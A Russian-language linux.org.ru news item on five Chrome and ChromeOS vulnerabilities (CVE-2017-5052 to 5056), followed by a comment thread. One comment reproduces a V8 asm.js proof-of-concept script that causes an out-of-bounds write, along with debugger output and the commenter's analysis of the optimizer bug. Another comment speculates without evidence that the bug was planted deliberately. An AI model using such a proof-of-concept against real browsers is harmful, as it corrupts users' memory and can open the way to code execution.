LINUX.ORG.RU

В Chrome и ChromeOS обнаружены уязвимости

 , , , ,


0

0

Компания Google сообщила об обновлении стабильного канала браузера Chrome, Chrome для Android и операционной системы ChromeOS, в связи с обнаружением 5 уязвимостей.

Одна из обнаруженных уязвимостей — критическая, и позволяет обойти все уровни защиты браузера и выполнить произвольный код за пределами sandbox-окружения.

Обнаруженные уязвимости в браузере Chrome:

  • CVE-2017-5055 — использование освобождённой памяти, критическая уязвимость в коде печати (Wadih Matar).
  • CVE-2017-5054 — переполнение буфера в JavaScript-движке V8 (Nicolas Trippar из Zimperium zLabs)
  • CVE-2017-5052 — ошибка приведения типов в Blink (JeongHoon Shin)
  • CVE-2017-5056 — использование памяти после освобождения в Blink (аноним)
  • CVE-2017-5053 — доступ к памяти вне границ (Team Sniper (Keen Lab и PC Mgr)

Обнаруженные уязвимости в ChromeOS:

  • CVE-2017-5054 — переполнение буфера в JavaScript-движке V8 (Nicolas Trippar из Zimperium zLabs)
  • CVE-2017-5052 — ошибка приведения типов в Blink (JeongHoon Shin)
  • CVE-2017-5056 — использование памяти после освобождения в Blink (аноним)
  • CVE-2017-5053 — доступ к памяти вне границ (Team Sniper (Keen Lab и PC Mgr)

Обнаруженные уязвимости в браузере Chrome для Android:

  • CVE-2017-5056 — использование памяти после освобождения в Blink (аноним)

Обновления с исправлением уязвимостей будут выпущены в ближайшее время, сообщает Google.

Многие из уязвимостей были найдены при помощи инструментов AddressSanitizer, MemorySanitizer, Control Flow Integrity и libFuzzer.

>>> Подробности

[fattroll]А вот писали бы его на расте...[/fattroll]

slaykovsky ★★ ()

конспираторы херовы, гугл хочет reenter password как будто я его помню, mitra говорит что CVE зарезервирован.

https://bugs.chromium.org/p/chromium/issues/detail?id=658114

REPRODUCTION CASE
--------------------------- poc.js -------------
boom0 = (function(stdlib, foreign, heap){
            "use asm";
            var ff = Math.sign;
            var m32 = new stdlib.Int32Array(heap);
            function f(v)
            {
              m32[((1-ff(NaN) >>> 0) % 0xdc4e153) & v] = 0x12345678;
            }
            return f;
         })(this, {}, new ArrayBuffer(256));
%OptimizeFunctionOnNextCall(boom0);
boom0(0xffffffff)

Program received signal SIGSEGV, Segmentation fault.
0x518627e3 in ?? ()
(gdb) x/i $pc
=> 0x518627e3:  mov    DWORD PTR [eax*4+0xa521b98],0x12345678

лол, какой-то смешной баг. чуваки похоже не осилили проверить что за константа получается.

ckotinko ★★☆ ()
Ответ на: комментарий от ckotinko

Что, у хрома тоже жабоскрипт в нутрях?

anonymous ()

А я всегда говорил, что хром - это ШЕРЕТО , к тому же ещё и с зондами... И это линуксоиды? Родина дала им Firefox - бери, пользуйся! Нет, не хочу, хочу дырявый хром

SakuraKun ()

Chrome для Android

Пользователям Android 2.* — 4.* страдать. Обновлений не будет, эксплуатируйте критические уязвимости и не кукарекайте.

Bruce_Lee ()
Ответ на: комментарий от anonymous

ну там же движок JS есть.

по идее после оптимизации доступ к массиву должен идти либо с проверкой лимитов, либо без проверки если индекс заранее известен и он меньше лимита.

тут возвращается boom, которая работает с буфером размером 256 и доступом по фиксированному адресу. но походу тут оптимизатор немного по другому считает индексы нежели это происходит в асмокоде.

((1-ff(NaN) >>> 0) это (1-int(NaN)) = 1-0x80000000 = 1+0x7fffffff+1=0x80000001. остаток от деления равен fbebebec.

upd: вру. 1-sign(NaN)=NaN к intу 0x80000000 и будет fbebebeb

но видимо оптимизатор считает как-то по другому и он как-то насчитал в допустимых пределах.

что-то не понимаю, как можно было получить валидный индекс.

ckotinko ★★☆ ()
Последнее исправление: ckotinko (всего исправлений: 1)

Когда в оперу и вивальди завезут?

bookman900 ★★★★★ ()
Ответ на: комментарий от ckotinko

Кстати, баг кажется и Chromium касается. Это стоило бы добавить в текст новости.

praseodim ★★ ()
Ответ на: комментарий от atsym

** RESERVED ** This candidate has been reserved by an organization or individual that will use it when announcing a new security problem. When the candidate has been publicized, the details for this candidate will be provided.

anonymous ()
Ответ на: комментарий от LinuxDebian

А как получить обновление для 4.4.2, например?

Уязвимости же не только в Chrome для Android, но и в стоковом браузере, который тоже же хром. Вот про него я говорю.

Ты можешь возразить: так не пользуйся встроенным, установи с магазина свежайший Хром, да? Фигушки, для 2.* не установится, для 4.* большей (ранней) половины тоже, так как устройство устарело, по их мнению.

Bruce_Lee ()
Ответ на: комментарий от Bruce_Lee

А как получить обновление для 4.4.2, например?

У меня на 4.2.1 последняя версия хрома, а стандартного нет вообще.

LinuxDebian ★★★ ()
Ответ на: комментарий от Bruce_Lee

для 2.* не установится

до android 4 обновляли даже такие девайсы, как HTC Dream или Huawei U8110. если человек до сих не обновился до android 4, значит человек гоняет свой мобильник как мобильник и ему до лампочки какая там версия софта.

для 4.* большей (ранней) половины тоже

там поддержка толи с 4.0.3, толи с 4.0.4 - ранее некуда.

Ford_Focus ★★★★★ ()

Бугага, «уязвимости». Я вод выполняю майнинг через webgl шейдеры - попробуйте прикройте, яйцеголовые

TooPar ()

Хром — это РЕШЕТО, в котром лежит кусок отборного ГОВНА, который спрятан за кучей неотборных МАКАРОН.

awesomebuntu ()

Одна из обнаруженных уязвимостей — критическая

Решето. Уязвимость на уязвимости. С каждой новой версией их больше и больше. Прогресс...

Odalist ★★★★★ ()

В AUR ещё днём обновление Хрома прилетело.

alexferman ()
Ответ на: комментарий от SakuraKun

Когда его перепишут на rust - тогда и посмотрим. А пока - тормозилла.

RazrFalcon ★★★ ()
Ответ на: комментарий от Bruce_Lee

У меня сидмой андроед по воздуху прилетел.

Используйте нормальные телефоны. И да, файрфокс а не это хроморешето...

AVL2 ★★★★★ ()
Ответ на: комментарий от AVL2

И да, файрфокс а не это хроморешето...

То есть ещё большее решето.

anonymous ()

А может это просто очередной пак плохо замаскированных зондов?

cheshire_cat ()

решето. новый IE не нужен!

anonymous ()
Ответ на: комментарий от Bruce_Lee

Ты можешь возразить: так не пользуйся встроенным, установи с магазина свежайший Хром, да?

Нет. Установи православную лисицу. (И да, никаких магазинов, вот еще, — ставьте апэкашки.)

danfe ()
Ответ на: комментарий от Bruce_Lee

стоковый браузер стал хромом только в 5.0

до этого это был скорее просто вэбкит( да тогда ещё вебкит, им он и остался)

но в целом нет проблемы в хромиумах для старых андроидов..

Thero ★★★★★ ()
Ответ на: комментарий от LinuxDebian

нельзя просто так избавиться от вебвью(или как он там раньше назывался..)

Thero ★★★★★ ()
Ответ на: комментарий от Ford_Focus

4.0.4 пора уже окуклить, а на всё что старше 4.4 можно лолипоп+ портировать.

Thero ★★★★★ ()
Ответ на: комментарий от Bruce_Lee

Фигушки, для 2.* не установится

Да туда уже ничего не установится гугл сервис после обновления сам все выжрет...

LinuxDebian ★★★ ()
Ответ на: комментарий от TooPar

Я вод выполняю майнинг через webgl шейдеры - попробуйте прикройте, яйцеголовые

И что — при закрытии вкладки — майнинг продолжается?

Или ты там удерживаешь пользователей какой-то магией, чтобы они не пытались бы закрывать страницу? :-D :-D

user_id_68054 ★★★★★ ()

ШАПИТО. А вот если бы его писали на golang...

Unicode4all ★★★ ()
Ответ на: комментарий от slaykovsky

[fattroll]А вот писали бы его на расте...[/fattroll]

[thintroll]Писали бы на расте - успели бы весь хром с хромосью написать за квартал и работало как часы, и небыло бы ни одной уязвимости[/thintroll]

Siado ★★★★★ ()
Ответ на: комментарий от SakuraKun

А я всегда говорил, что хром - это ШЕРЕТО , к тому же ещё и с зондами...

И че тебе дало то, что ты всегда говорил что хром это ШЕРЕТО?

Siado ★★★★★ ()
Ответ на: комментарий от RazrFalcon

Когда его перепишут на rust

Это примерно как «когда рак на горе свистнет» =)

Siado ★★★★★ ()
Ответ на: комментарий от SakuraKun

Родина дала им Firefox

ff отказался от alsa и родина от него отвернулась... :)

bohm ★★★★★ ()

Я давно всем говорю, что пора перестать печатать

anonymous ()
Ответ на: комментарий от ckotinko

В смысле ?

Вообще то это выглядит несколько иначе. Закладываются закладки и когда их обнаружат то их приходится патчить.

mx__ ★★★ ()

Это же круто - рутануть через веб можно.

Quasar ★★★★★ ()

CVE-2017-5055 — использование освобождённой памяти, критическая уязвимость в коде печати (Wadih Matar). CVE-2017-5054 — переполнение буфера в JavaScript-движке V8 (Nicolas Trippar из Zimperium zLabs) CVE-2017-5052 — ошибка приведения типов в Blink (JeongHoon Shin) CVE-2017-5056 — использование памяти после освобождения в Blink (аноним) CVE-2017-5053 — доступ к памяти вне границ (Team Sniper (Keen Lab и PC Mgr)

кто-то додумался собрать хром с адерс-санитайзером :D

invy ★★★★★ ()
Ответ на: комментарий от Odalist

самый прикол что _не_одна_ уязвимость критическая.

ckotinko ★★☆ ()
Ответ на: комментарий от RazrFalcon

нука расскажи нам, как ржавый поможет от подобных ошибок. на примере CVE-2017-5054

ckotinko ★★☆ ()
Ответ на: комментарий от mx__

Ыыыыыы

http://jibbering.com/faq/notes/type-conversion/

ToInt32 is an internal function only available to the Javascript implementation and cannot be called directly from scripts in the way that parseInt can. It is a bit unusual to mention it in connection with converting Javascript values to numbers but it can be used in a limited set of circumstances. The bitwise operators such as bitwise OR (|) and bitwise AND (&) operate on numbers so they type-convert their operands to numbers. However, they also only operate on 32 bit signed integers so given the (possibly type-converted) numeric value they call the internal ToInt32 function with that number as its argument and use the returned value as their operand. That returned value is always a 32 bit signed integer.

NaN -> 0

Лол, теперь понятно что произошло. у оптимизатора V8 вычисление констант походу имеет два бага. Первый: оно видимо пугается NaNов и недовычисляет до конца. Иначе бы проблемы не было

((1-ff(NaN) >>> 0) % 0xdc4e153) =

((1-NaN >>> 0) % 0xdc4e153) =

(ToInt32(NaN) >>> 0) % 0xdc4e153) = а вот теперь расхождение

в JS:(0 >>> 0) % 0xdc4e153) = 0 % 0xdc4e153 = 0,

0 & v = 0, и если бы оптимизатор честно досчитал до сюда, он бы просто уничтожил все матоперации и оставил бы m[0]=0x12345678;

но он где-то напугался(думаю что на NaN->int) и оставил вычисления как есть, при этом считая их результат константой. константа убила проверку лимита(т.е. её результат стал константой = false). а сам код NaN->int другой багокод превратил в fistp или cvtsd2si.

итог (0xfbebebeb >>> 0) & 0xdc4e153) это короче совсем не 0.

Если моя догадка верна, то там ШЕРЕТО в выломаным дном. и да, возможно это ШЕРЕТО было встроено намерено.

причем шерето сознательно кем-то спроектированное, что должно быть видно в структурах и коде оптимизатора. т.к. constant subexpression elimination дошло до проверки лимита, но при этом не обрубило дерево до этой проверки. врода как там константа, но её не свели к константе а оставили вычисляться

ckotinko ★★☆ ()
Последнее исправление: ckotinko (всего исправлений: 2)
Ответ на: комментарий от LinuxDebian

не ну да, но виджеты же поедут, хотя кому они нужны..

Thero ★★★★★ ()
Ответ на: комментарий от ckotinko

В rust переполнение буфера приводит к панике. Или вы о чём?

RazrFalcon ★★★ ()
Ответ на: комментарий от RazrFalcon

В rust переполнение буфера приводит к панике

иииии?

продолжи свою мысль.

ckotinko ★★☆ ()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.